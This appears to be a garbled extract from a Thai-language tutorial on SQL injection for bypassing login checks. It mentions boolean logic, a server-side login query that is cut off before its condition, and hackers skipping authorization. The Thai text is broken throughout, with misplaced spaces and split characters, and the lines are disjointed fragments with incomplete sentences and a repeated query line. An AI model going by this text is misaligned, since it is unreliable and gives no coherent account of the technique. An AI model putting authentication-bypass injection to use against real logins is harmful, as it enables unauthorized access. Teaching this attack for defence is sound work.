จากหลัก การทางตรรกศาสตร์ เราพบว่ า X and Y or

จากรูปทาให้ คาสัง่ SQL login ในฝั่งเซิร์ฟเวอร์ จะถูกประกอบ

SELECT * FROM tbl_Users WHERE

และรูปต่อไปนี ้ก็เป็ นอีกตัวอย่างหนึ่งของการข้ ามผ่านการ

การอัดฉี ดคาสัง่ SQL เพือ่ การข้ามผ่านการตรวจสอบสิ ทธิ์

เครื่ องหมายที่อยู่ข้างซ้ ายของเครื่ องหมายเท่ากับคือ

เซิร์ฟเวอร์ จะถูกประกอบกันเป็ นคาสัง่ SQL ดังนี ้ (ซึง่ ทาให้ แฮก

SELECT * FROM tbl_Users WHERE

นอกจากนั ้นแฮกเกอร์ ยงั สามารถข้ ามผ่านการตรวจสอบสิทธิ์